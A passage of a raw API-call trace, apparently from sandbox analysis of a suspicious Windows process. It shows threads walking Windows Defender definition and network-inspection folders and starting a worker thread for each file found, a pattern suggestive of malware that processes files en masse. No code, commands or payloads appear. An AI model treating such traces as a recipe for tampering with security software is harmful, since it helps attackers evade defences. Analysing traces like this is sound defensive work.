Flags=0x0, BaseAddress=0x33f45e8) returned 1 [0078.640] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaff0) returned 1 [0078.640] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c620) returned 1 [0078.640] RtlExitUserThread (Status=0x0) Thread: id = 899 os_tid = 0x1510 [0078.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eaff0 [0078.641] wcscpy (in: _Dest=0x33eaff0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" [0078.641] wcscat (in: _Dest=0x33eaff0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\" [0078.641] wcscat (in: _Dest=0x33eaff0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\*" [0078.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f45e8 [0078.641] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\*", lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26252c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0058 [0078.642] wcscmp (_String1=".", _String2=".") returned 0 [0078.643] FindNextFileW (in: hFindFile=0x33e0058, lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26252c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.643] wcscmp (_String1="..", _String2=".") returned 1 [0078.643] wcscmp (_String1="..", _String2="..") returned 0 [0078.643] FindNextFileW (in: hFindFile=0x33e0058, lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c24f7c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26c24f7c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26c24f7c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11d0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GapaEngine.dll", cAlternateFileName="")) returned 1 [0078.643] wcscmp (_String1="GapaEngine.dll", _String2=".") returned 1 [0078.643] wcscmp (_String1="GapaEngine.dll", _String2="..") returned 1 [0078.643] FindNextFileW (in: hFindFile=0x33e0058, lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26af3c42, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26af3c42, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26b66370, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x22f6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsBase.vdm", cAlternateFileName="")) returned 1 [0078.643] wcscmp (_String1="MpAsBase.vdm", _String2=".") returned 1 [0078.643] wcscmp (_String1="MpAsBase.vdm", _String2="..") returned 1 [0078.643] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428b48 [0078.643] wcscpy (in: _Dest=0x3428b48, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" [0078.643] wcscat (in: _Dest=0x3428b48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\" [0078.643] wcscat (in: _Dest=0x3428b48, _Source="MpAsBase.vdm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsBase.vdm") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsBase.vdm" [0083.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c [0083.009] FindNextFileW (in: hFindFile=0x33e0058, lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26af3c42, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26af3c42, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26af3c42, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8f10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDlta.vdm", cAlternateFileName="")) returned 1 [0083.009] wcscmp (_String1="MpAsDlta.vdm", _String2=".") returned 1 [0083.009] wcscmp (_String1="MpAsDlta.vdm", _String2="..") returned 1 [0083.009] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428a90 [0083.009] wcscpy (in: _Dest=0x3428a90, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" [0083.009] wcscat (in: _Dest=0x3428a90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\" [0083.009] wcscat (in: _Dest=0x3428a90, _Source="MpAsDlta.vdm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsDlta.vdm") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsDlta.vdm" [0083.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988 [0083.010] FindNextFileW (in: hFindFile=0x33e0058, lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26b66370, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26b66370, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26c24f7c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x563cd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAvBase.vdm", cAlternateFileName="")) returned 1 [0083.010] wcscmp (_String1="MpAvBase.vdm", _String2=".") returned 1 [0083.010] wcscmp (_String1="MpAvBase.vdm", _String2="..") returned 1 [0083.010] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428138 [0083.010] wcscpy (in: _Dest=0x3428138, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" [0083.010] wcscat (in: _Dest=0x3428138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\" [0083.010] wcscat (in: _Dest=0x3428138, _Source="MpAvBase.vdm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvBase.vdm") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvBase.vdm" [0083.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8 [0083.011] FindNextFileW (in: hFindFile=0x33e0058, lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26af3c42, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26af3c42, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26af3c42, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15910, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAvDlta.vdm", cAlternateFileName="")) returned 1 [0083.011] wcscmp (_String1="MpAvDlta.vdm", _String2=".") returned 1 [0083.011] wcscmp (_String1="MpAvDlta.vdm", _String2="..") returned 1 [0083.011] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x34281f0 [0083.011] wcscpy (in: _Dest=0x34281f0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" [0083.011] wcscat (in: _Dest=0x34281f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\" [0083.011] wcscat (in: _Dest=0x34281f0, _Source="MpAvDlta.vdm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvDlta.vdm") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvDlta.vdm" [0083.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34281f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c [0083.012] FindNextFileW (in: hFindFile=0x33e0058, lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c24f7c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26c24f7c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26c4b1e3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc11740, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEngine.dll", cAlternateFileName="")) returned 1 [0083.012] wcscmp (_String1="MpEngine.dll", _String2=".") returned 1 [0083.012] wcscmp (_String1="MpEngine.dll", _String2="..") returned 1 [0083.012] FindNextFileW (in: hFindFile=0x33e0058, lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c24f7c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26c24f7c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26c24f7c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14e318, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisBase.vdm", cAlternateFileName="")) returned 1 [0083.012] wcscmp (_String1="NisBase.vdm", _String2=".") returned 1 [0083.012] wcscmp (_String1="NisBase.vdm", _String2="..") returned 1 [0083.012] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x3428d70 [0083.012] wcscpy (in: _Dest=0x3428d70, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" [0083.012] wcscat (in: _Dest=0x3428d70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\" [0083.012] wcscat (in: _Dest=0x3428d70, _Source="NisBase.vdm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisBase.vdm") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisBase.vdm" [0083.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c [0083.012] FindNextFileW (in: hFindFile=0x33e0058, lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c24f7c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26c24f7c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26c24f7c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14e718, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisFull.vdm", cAlternateFileName="")) returned 1 [0083.013] wcscmp (_String1="NisFull.vdm", _String2=".") returned 1 [0083.013] wcscmp (_String1="NisFull.vdm", _String2="..") returned 1 [0083.013] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x3427ac0 [0083.013] wcscpy (in: _Dest=0x3427ac0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" [0083.013] wcscat (in: _Dest=0x3427ac0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\" [0083.013] wcscat (in: _Dest=0x3427ac0, _Source="NisFull.vdm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisFull.vdm") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisFull.vdm" [0083.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f4 [0083.014] FindNextFileW (in: hFindFile=0x33e0058, lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c24f7c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26c24f7c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26c24f7c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14e718, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisFull.vdm", cAlternateFileName="")) returned 0 [0083.014] FindClose (in: hFindFile=0x33e0058 | out: hFindFile=0x33e0058) returned 1 [0083.014] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f45e8) returned 1 [0083.014] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaff0) returned 1 [0083.014] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb090) returned 1 [0083.014] RtlExitUserThread (Status=0x0) Thread: id = 900 os_tid = 0x1514 [0078.643] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e67c8 [0078.643] wcscpy (in: _Dest=0x33e67c8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup" [0078.643] wcscat (in: _Dest=0x33e67c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup\\" [0078.643] wcscat (in: _Dest=0x33e67c8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup\\*" [0078.643] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4850 [0078.643] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup\\*", lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0098 [0078.644] wcscmp (_String1=".", _String2=".") returned 0 [0078.644] FindNextFileW (in: hFindFile=0x33e0098, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.644] wcscmp (_String1="..", _String2=".") returned 1 [0078.644] wcscmp (_String1="..", _String2="..") returned 0 [0078.644] FindNextFileW (in: hFindFile=0x33e0098, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0078.644] FindClose (in: hFindFile=0x33e0098 | out: hFindFile=0x33e0098) returned 1 [0078.644] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4850) returned 1 [0078.644] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e67c8) returned 1 [0078.644] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb270) returned 1 [0078.644] RtlExitUserThread (Status=0x0) Thread: id = 901 os_tid = 0x1518 [0078.645] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eb130 [0078.645] wcscpy (in: _Dest=0x33eb130, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates" [0078.645] wcscat (in: _Dest=0x33eb130, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\" [0078.645] wcscat (in: _Dest=0x33eb130, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*" [0078.645] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4850 [0078.645] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0098 [0078.645] wcscmp (_String1=".", _String2=".") returned 0 [0078.645] FindNextFileW (in: hFindFile=0x33e0098, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.645] wcscmp (_String1="..", _String2=".") returned 1 [0078.646] wcscmp (_String1="..", _String2="..") returned 0 [0078.646] FindNextFileW (in: hFindFile=0x33e0098, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0078.646] FindClose (in: hFindFile=0x33e0098 | out: hFindFile=0x33e0098) returned 1 [0078.646] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4850) returned 1 [0078.646] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb130) returned 1 [0078.646] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eab90) returned 1 [0078.646] RtlExitUserThread (Status=0x0) Thread: id = 902 os_tid = 0x151c [0078.647] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33f0490 [0078.647] wcscpy (in: _Dest=0x33f0490, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support" [0078.647] wcscat (in: _Dest=0x33f0490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\" [0078.647] wcscat (in: _Dest=0x33f0490, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\*" [0078.647] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4850 [0078.647] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\*", lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x366fbd4a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x366fbd4a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0098 [0078.647] wcscmp (_String1=".", _String2=".") returned 0 [0078.647] FindNextFileW (in: hFindFile=0x33e0098, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x366fbd4a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x366fbd4a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.647] wcscmp (_String1="..", _String2=".") returned 1 [0078.647] wcscmp (_String1="..", _String2="..") returned 0 [0078.647] FindNextFileW (in: hFindFile=0x33e0098, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x366fbd4a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x366fbd4a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x366fbd4a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisLog.txt", cAlternateFileName="")) returned 1 [0078.647] wcscmp (_String1="NisLog.txt", _String2=".") returned 1 [0078.647] wcscmp (_String1="NisLog.txt", _String2="..") returned 1 [0078.647] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3430800 [0078.647] wcscpy (in: _Dest=0x3430800, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support" [0078.648] wcscat (in: _Dest=0x3430800, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\" [0078.648] wcscat (in: _Dest=0x3430800, _Source="NisLog.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt" [0083.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794 [0083.007] FindNextFileW (in: hFindFile=0x33e0098, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x366fbd4a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x366fbd4a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x366fbd4a, 